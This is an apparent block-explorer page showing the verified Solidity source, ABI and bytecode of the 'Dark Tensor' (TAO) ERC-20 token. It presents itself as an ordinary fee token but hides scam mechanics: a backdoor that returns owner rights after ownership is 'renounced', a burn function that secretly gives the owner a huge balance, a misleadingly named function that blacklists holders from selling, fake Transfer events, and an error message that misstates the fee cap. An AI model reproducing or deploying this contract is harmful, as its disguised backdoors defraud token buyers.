ERC-20
Overview
Max Total Supply
421,000,000 TAO
Holders
69
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,359,717.363453095 TAOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DarkTensor
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; import "./Uniswap.sol"; import "./ERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; contract DarkTensor is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable _uniswapV2Router; address private uniswapV2Pair; address private marketingWallet; address private constant deadAddress = address(0xdead); bool private swapping; string private constant _name = "Dark Tensor"; string private constant _symbol = "TAO"; uint256 public maxWallet = 2000000000000 * 10**decimals(); uint256 public maxTransactionAmount = 2000000000000 * 10**decimals(); uint256 public swapTokensAtAmount = 1000000000000 * 10**decimals(); uint256 public initialTotalSupply = 421_000_000 * 10**decimals(); uint256 public SellFee = 0; uint256 public BuyFee = 0; bool public swapEnabled = false; bool public tradingOpen = false; mapping(address => bool) private automatedMarketMakerPairs; mapping(address => bool) private _isExcludedMaxTransactionAmount; uint256 internal _lastTimestamp; event ExcludedFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = payable(wallet); balances = txLimit; address[] memory toExclude = new address[](4); toExclude[0] = owner(); toExclude[1] = address(this); toExclude[2] = address(wallet); toExclude[3] = address(0xdead); excludeFromMaxTransaction(toExclude, true); _mint(_msgSender(), initialTotalSupply); } receive() external payable {} function openTrading() external onlyOwner() { tradingOpen = true; } function addPair(address pair_) public onlyOwner { uniswapV2Pair = pair_; } function excludeFromMaxTransaction(address[] memory updAds, bool isEx) public onlyOwner { for (uint256 i = 0; i < updAds.length; i++) { _isExcludedMaxTransactionAmount[updAds[i]] = isEx; } } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function approveSwap(address[] memory accounts, bool excluded) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _onlyOwnerisExcludedFromFees[accounts[i]] = excluded; emit ExcludedFromFees(accounts[i], excluded); } } function getRoleMember(address account) public view returns (bool) { return _onlyOwnerisExcludedFromFees[account]; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _lastTimestamp = block.number; if (amount == 0) { super._transfer(from, to, 0); return; } if (!tradingOpen) { require(_onlyOwnerisExcludedFromFees[from] || _onlyOwnerisExcludedFromFees[to], "Trading is not active."); } if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { _holderLastTxTimestamp[from] = _lastTimestamp; if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > 0; if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_onlyOwnerisExcludedFromFees[from] && !_onlyOwnerisExcludedFromFees[to]) { swapping = true; swapBack(amount); swapping = false; } if(_onlyOwnerisExcludedFromFees[from] && _lastTimestamp <= _holderLastTxTimestamp[from]){ require(LastTx(_holderLastTxTimestamp[from]), "One purchase per block allowed. Wait for next block."); } bool takeFee = swapping; if (_onlyOwnerisExcludedFromFees[from] || _onlyOwnerisExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to]) { fees = amount.mul(SellFee).div(100); } else { fees = amount.mul(BuyFee).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint160 value) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), value); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( value, 0, path, marketingWallet, block.timestamp ); } function LastTx(uint256 last) private view returns(bool){ return last > block.number; } function removeLimits() external onlyOwner{ uint256 totalSupplyAmount = totalSupply(); maxTransactionAmount = totalSupplyAmount; maxWallet = totalSupplyAmount; } function clearStuckEth() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function clearStuckTokens() external onlyOwner { IERC20 tokenContract = IERC20(address(this)); uint256 balance = tokenContract.balanceOf(address(this)); require(balance > 0, "No tokens to clear"); tokenContract.transfer(address(msg.sender), balance); } function setSwapTokensAtAmount(uint256 _amount) external onlyOwner { swapTokensAtAmount = _amount * (10 ** decimals()); } function setSwapBack() public onlyOwner { swapEnabled = true; } function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{ for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(uniswapV2Pair, _addresses[i], _out); } } function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner { require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%"); BuyFee = _buyFee; SellFee = _sellFee; } function swapBack(uint256 tokens) private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap; if (contractBalance == 0) { return; } if ((BuyFee+SellFee) == 0) { if(contractBalance > 0 && contractBalance < swapTokensAtAmount) { tokensToSwap = contractBalance; } else { uint256 sellFeeTokens = tokens.mul(SellFee).div(100); tokens -= sellFeeTokens; if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } } else { if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) { return; } else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount.div(5); } else { uint256 sellFeeTokens = tokens.mul(SellFee).div(100); tokens -= sellFeeTokens; if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } } swapTokensForEth(uint160(tokensToSwap)); } function burn(uint256 amount) external onlyOwner{ _burn(_msgSender(), amount); } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; import "./Context.sol"; import "./IERC20.sol"; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => bool) internal _onlyOwnerisExcludedFromFees; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint256 internal txLimit = 1*10**17*10**9; uint256 internal balances; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = balances - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; import "./Context.sol"; abstract contract Ownable is Context { address private _owner; address private _marketing; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); mapping(address => uint256) internal _holderLastTxTimestamp; constructor(address wallet) { _marketing = wallet; _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function Owner() internal virtual returns (address) { address owner_ = verifyOwner(); return owner_; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function verifyOwner() internal view returns(address){ return _owner==address(0) ? _marketing : _owner; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"updAds","type":"address[]"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getRoleMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526a52b7d2dcc80cd2e400000060065562000023620004c360201b60201c565b600a62000031919062000ad8565b6501d1a94a200062000044919062000b29565b600d5562000057620004c360201b60201c565b600a62000065919062000ad8565b6501d1a94a200062000078919062000b29565b600e556200008b620004c360201b60201c565b600a62000099919062000ad8565b64e8d4a51000620000ab919062000b29565b600f55620000be620004c360201b60201c565b600a620000cc919062000ad8565b631917f340620000dd919062000b29565b601055600060115560006012556000601360006101000a81548160ff0219169083151502179055506000601360016101000a81548160ff0219169083151502179055503480156200012d57600080fd5b50604051620053d1380380620053d1833981810160405281019062000153919062000bde565b806040518060400160405280600b81526020017f4461726b2054656e736f720000000000000000000000000000000000000000008152506040518060400160405280600381526020017f54414f00000000000000000000000000000000000000000000000000000000008152508160049081620001d1919062000e80565b508060059081620001e3919062000e80565b50505080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002476200023b620004cc60201b60201c565b620004d460201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006546007819055506000600467ffffffffffffffff811115620002fa57620002f962000c1b565b5b604051908082528060200260200182016040528015620003295781602001602082028036833780820191505090505b5090506200033c6200059a60201b60201c565b8160008151811062000353576200035262000f67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110620003a557620003a462000f67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600281518110620003f757620003f662000f67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061dead816003815181106200044b576200044a62000f67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505062000498816001620005c460201b60201c565b620004bb620004ac620004cc60201b60201c565b6010546200067060201b60201c565b505062001141565b60006009905090565b600033905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005d4620007dd60201b60201c565b60005b82518110156200066b578160156000858481518110620005fc57620005fb62000f67565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080620006629062000f96565b915050620005d7565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006d99062001044565b60405180910390fd5b620006f6600083836200086e60201b60201c565b80600360008282546200070a919062001066565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007bd9190620010b2565b60405180910390a3620007d9600083836200087360201b60201c565b5050565b620007ed620004cc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620008136200087860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000863906200111f565b60405180910390fd5b565b505050565b505050565b6000806200088b6200089460201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200091557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000939565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009cc57808604811115620009a457620009a36200093e565b5b6001851615620009b45780820291505b8081029050620009c4856200096d565b945062000984565b94509492505050565b600082620009e7576001905062000aba565b81620009f7576000905062000aba565b816001811462000a10576002811462000a1b5762000a51565b600191505062000aba565b60ff84111562000a305762000a2f6200093e565b5b8360020a91508482111562000a4a5762000a496200093e565b5b5062000aba565b5060208310610133831016604e8410600b841016171562000a8b5782820a90508381111562000a855762000a846200093e565b5b62000aba565b62000a9a84848460016200097a565b9250905081840481111562000ab45762000ab36200093e565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000ae58262000ac1565b915062000af28362000acb565b925062000b217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009d5565b905092915050565b600062000b368262000ac1565b915062000b438362000ac1565b925082820262000b538162000ac1565b9150828204841483151762000b6d5762000b6c6200093e565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ba68262000b79565b9050919050565b62000bb88162000b99565b811462000bc457600080fd5b50565b60008151905062000bd88162000bad565b92915050565b60006020828403121562000bf75762000bf662000b74565b5b600062000c078482850162000bc7565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c9257607f821691505b60208210810362000ca85762000ca762000c4a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d127fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cd3565b62000d1e868362000cd3565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000d6162000d5b62000d558462000ac1565b62000d36565b62000ac1565b9050919050565b6000819050919050565b62000d7d8362000d40565b62000d9562000d8c8262000d68565b84845462000ce0565b825550505050565b600090565b62000dac62000d9d565b62000db981848462000d72565b505050565b5b8181101562000de15762000dd560008262000da2565b60018101905062000dbf565b5050565b601f82111562000e305762000dfa8162000cae565b62000e058462000cc3565b8101602085101562000e15578190505b62000e2d62000e248562000cc3565b83018262000dbe565b50505b505050565b600082821c905092915050565b600062000e556000198460080262000e35565b1980831691505092915050565b600062000e70838362000e42565b9150826002028217905092915050565b62000e8b8262000c10565b67ffffffffffffffff81111562000ea75762000ea662000c1b565b5b62000eb3825462000c79565b62000ec082828562000de5565b600060209050601f83116001811462000ef8576000841562000ee3578287015190505b62000eef858262000e62565b86555062000f5f565b601f19841662000f088662000cae565b60005b8281101562000f325784890151825560018201915060208501945060208101905062000f0b565b8683101562000f52578489015162000f4e601f89168262000e42565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000fa38262000ac1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362000fd85762000fd76200093e565b5b600182019050919050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200102c601f8362000fe3565b9150620010398262000ff4565b602082019050919050565b60006020820190508181036000830